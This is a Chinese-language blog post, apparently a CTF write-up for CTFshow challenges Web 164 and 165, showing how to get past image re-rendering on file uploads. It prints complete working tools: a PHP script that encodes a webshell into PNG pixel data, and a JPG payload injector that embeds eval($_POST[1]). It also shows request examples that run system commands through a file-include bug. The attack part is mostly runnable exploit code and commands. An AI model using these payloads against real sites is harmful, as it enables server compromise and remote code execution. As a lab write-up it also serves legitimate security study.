首页 > 其他分享 >基于CTFshow的文件上传二次渲染绕过与CTF实战

基于CTFshow的文件上传二次渲染绕过与CTF实战

时间:2024-09-28 11:22:37浏览次数:1  
标签:图片 substr CTF binData CTFshow file php 上传 dis

1. 二次渲染简介

二次渲染指的是上传的文件(如图片),为了显示的更加规范(尺寸、像素),网站会对文件进行二次处理,经过解码或转换可能导致其中的恶意代码失效。例如,后门程序在图像渲染过程中可能被清除或无法执行。

2. 二次渲染存在性判断

2.1 文件大小变化

访问上传的文件地址,重新下载下来,查看文件大小是否发生改变

2.2 图片数据包

将上传图片的发送包和访问文件地址的返回包发到burpsuite的compare模块,查看是否存在差异

3. png绕过二次渲染——Web 164

3.1 题目分析

尝试上传一张正常的图片,下载上传后的文件查看,发现本题对图片进行了二次渲染,写入的php代码容易损坏。
随意写入一些内容,上传失败显示文件类型不合规。本题在在文件上传时进行了CRC(循环冗余校验)以确保文件未被篡改。我们在PNG文件中添加了文字,导致文件结构被破坏,从而无法通过校验。因此我们插入php代码后,必须重新计算相应的crc值并修改才能通过校验

3.2 生成后门图片

因此推荐使用以下脚本直接直接对图片插入后门代码:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png');  //要修改的图片的路径
 
/* 木马内容
<?$_GET[0]($_POST[1]);?>
 */
//imagepng($img,'1.png');  要修改的图片的路径,1.png是使用的文件,可以不存在
//会在目录下自动创建一个1.png图片
//图片脚本内容:$_GET[0]($_POST[1]);
//使用方法:例子:查看图片,get传入0=system;post传入tac flag.php
?>

使用方法:
配置php环境变量,在该脚本文件夹下执行以下cmd命令

php 脚本名.php 要修改的图片名.png

然后就会在当前文件夹生成一个1.png,包含的木马内容如下

<?$_GET[0]($_POST[1]);?>

3.3 后门代码利用

访问图片地址,利用如下的恶意代码将想要的内容输出到1.txt

https://xxx/download.php?image=xxxxx&0=system
post:
	1=ls > 1.txt
	1=tac flag.php >1.txt

访问https://xxx/1.txt,得到以下内容
|700
|700

3.4 为什么图片解析php

在本题中,我通过向图片传php恶意代码,竟然成功执行了,这是为什么呢?
我们tac一下download.php来看一下

}	echo "图片错误";
}else{
	include("./upload/".strrev($file));
	header('Content-Type:image/png');
if($ext==='.png' && file_exists("./upload/".strrev($file))){
$ext = strrev(substr($file, 0,4));
$file = strrev($file);

$file= $_GET['image'];

代码的逻辑总结:

  1. 从 URL 获取文件名:通过 $_GET['image'] 获取传递的文件名。
  2. 处理文件名:通过 strrev() 反转文件名来获取实际的文件,并通过 substr() 获取文件的扩展名。
  3. 检查文件是否存在且为 PNG 格式:判断扩展名是否为 .png,以及文件是否存在于 ./upload/ 目录。
  4. 输出图片文件:如果条件满足,包含并输出这个文件,并将响应头设为 image/png 以显示 PNG 图片。

这下明白了,本题查看图片的功能是通过文件包含的形式实现的,传入图片的代码被包含到了download.php,从而成功被执行

4. jpg绕过二次渲染——Web 165

4.1 生成后门图片

利用以下脚本生成,需要注意的是:是先上传原图,把二次渲染后的图片进行脚本加工

<?php
    /*
将有效载荷注入JPG图像的算法,该算法在PHP函数imagecopyresized()和imagecopyresampled()引起的变换后保持不变。
初始图像的大小和质量必须与处理后的图像的大小和质量相同。
1)通过安全文件上传脚本上传任意图像
2)保存处理后的图像并启动:
php 文件名.php <文件名.jpg >
如果注射成功,您将获得一个特制的图像,该图像应再次上传。
由于使用了最直接的注射方法,可能会出现以下问题:
1)在第二次处理之后,注入的数据可能变得部分损坏。
jpg _ payload.php脚本输出“有问题”。
如果发生这种情况,请尝试更改有效载荷(例如,在开头添加一些符号)或尝试另一个初始图像。
谢尔盖·博布罗夫@Black2Fan。
另请参见:
https://www . idontplaydarts . com/2012/06/encoding-we B- shell-in-png-idat-chunks/
*/

    $miniPayload = '<?=eval($_POST[1]);?>';
 
 
    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }
    
    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }
 
    set_error_handler("custom_error_handler");
 
    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;
 
        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }
 
        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');
 
    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }
 
    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }
 
    class DataInputStream {
        private $binData;
        private $order;
        private $size;
 
        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }
 
        public function seek() {
            return ($this->size - strlen($this->binData));
        }
 
        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }
 
        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }
 
        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }
 
        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

后门代码为

<?=eval($_POST[1]);?>

4.2 后门代码利用

https://xxx/download.php?image=xxxxx
post:
	1=system("ls > 1.txt");
	1=system("tac flag.php > 1.txt");

访问https://xxx/1.txt

5. 宇宙安全声明

本博客所提供的内容仅供学习与交流,旨在提高网络安全技术水平,谨遵守国家相关法律法规,请勿用于违法用途,博主不对任何人因使用博客中提到的技术或工具而产生的任何后果负责。如果您对文章内容有疑问,可以留言私信。

标签:图片,substr,CTF,binData,CTFshow,file,php,上传,dis
From: https://www.cnblogs.com/xinghaihe/p/18437169

相关文章

  • 若依框架上传图片到本地,部署到服务器无法访问解决方法
    1.在后端代码ruoyi-admin中的application.yaml中修改文件上传路径 如需上传到服务器,请修改成服务器的路径  2.maven打包成ruoyi-admin.jar的文件上传到服务器中3.如果你使用的是宝塔来部署项目,请在nginx配置中注释掉一下代码:#location~.*\.(gif|jpg|jpeg|png|......
  • PbootCMS上传图片失败或提示:未知错误
    在PbootCMS中,如果遇到上传图片失败或提示“未知错误”,可以尝试以下几个步骤来解决问题:解决方案1.检查服务器空间和权限检查服务器空间:确认服务器空间是否已满。可以使用FTP客户端或服务器管理面板查看剩余空间。如果空间不足,清理一些不必要的文件或增加空间容量。检......
  • NSSCTF [HUBUCTF 2022 新生赛]simple_RE(变种base64编码)
    文件无壳拖入IDA中shift+F12查看可疑字符串发现两串字符串一看这两个等于号就猜测是base64编码进入主函数看看这段代码是一个简单的C语言程序,主要功能是接受用户输入的字符串作为“flag”,然后通过对输入的字符串进行一些处理和比较来验证是否输入了正确的“flag”。......
  • CTF入门教程(非常详细)从零基础入门到竞赛,看这一篇就够了!
        一、CTF简介CTF(CaptureTheFlag)中文一般译作夺旗赛,在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。CTF起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,已经成为全球范围网络安全圈流行......
  • Pbootcms源码上传安装后前端显示错乱乱码问题解决方案
    PbootCMS前端显示错乱或乱码问题可能是由多种原因造成的,下面是一些可能的解决方案:检查字符集设置:确认前端页面的字符集设置是否正确。通常在HTML头部会有一个<meta>标签定义字符集,例如<metacharset="UTF-8">。同时检查PbootCMS后台的字符集设置是否与前端一致,确保数据库和......
  • Pbootcms源码上传安装后前端显示错乱乱码怎么办
    当PbootCMS源码上传安装后,如果前端显示错乱或出现乱码,这通常是由几个常见的原因造成的。以下是针对这种情况的一些解决方案:检查字符编码设置:确认HTML文档头部的字符编码设置是否正确。确保在HTML文档中包含正确的<meta>标签,例如<metacharset="UTF-8">。检查PbootCMS后台的......
  • [SWPUCTF 2021 新生赛]easy_md5
    分析一下代码, name不等于password,namd,md5值和password,md5值相等。get传参name,post传参password。$name!=$password&&md5($name)==md5($password)属于MD5绕过中的php==弱类型绕过有两个办法,第一个办法就是importrequests#网站的URLurl="http://node7.a......
  • uniapp [全端兼容] - 详细实现拍照或相册选取图片后插入水印功能,手机拍照或相册上传图
    前言网上的教程乱七八糟且兼容性太差,本文提供优质示例。在uni-app全平台兼容(H5网页网站、支付宝/微信小程序、安卓App、苹果App、nvue)开发中,详解手机从相册选取上传图像后加入水印功能,手机拍摄照相后也可以加入水印,Uniapp给图片添加水印,获取上传或拍摄的图片信息后,为......
  • Spring上传文件乱码问题(问号版)
    Spring上传文件乱码问题(问号版)目录Spring上传文件乱码问题(问号版)一、问题描述:二、原因分析三、解决办法一、问题描述:spring项目上传文件,后端接收文件并获取文件名称,名称中文变成“?”,例如:??abc()??.xml,其中问号为中文字符//前端传递参数MultipartFilefile//后端获取filena......
  • PbootCms上传图片变模糊、上传图片尺寸受限的解决方案
    在使用PBootCMS过程中,如果上传的图片被压缩变得模糊,通常是因为上传的图片尺寸超过了系统默认的限制。PBootCMS模板默认的上传图片限制宽度为1920像素,缩略图的限制大小为1000*1000像素。可以通过调整配置文件中的相关参数来解决这个问题。解决方案打开 config.php 文件找......